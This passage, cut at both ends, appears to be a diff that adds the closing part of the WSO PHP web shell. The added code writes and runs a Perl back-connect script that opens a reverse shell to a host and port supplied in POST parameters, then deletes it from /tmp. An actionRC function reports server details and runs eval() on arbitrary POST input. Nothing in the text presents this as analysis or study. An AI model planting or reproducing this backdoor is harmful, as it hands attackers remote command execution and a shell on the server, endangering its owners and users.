"; + unlink("/tmp/bp.pl"); + } + if ($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl", $back_connect_p); + $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &"); + sleep(1); + echo "
$out\n" . wsoEx("ps aux | grep bc.pl") . "
"; + unlink("/tmp/bc.pl"); + } + } + echo '
'; + wsoFooter(); + } + function actionRC() { + if (!@$_POST['p1']) { + $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode')); + echo serialize($a); + } else { + eval($_POST['p1']); + } + } + if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action; + else $_POST['a'] = 'SecInfo'; + if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']); + exit; + } + catch(Exception $e) { + echo '' . $e->getMessage() . ''; + } +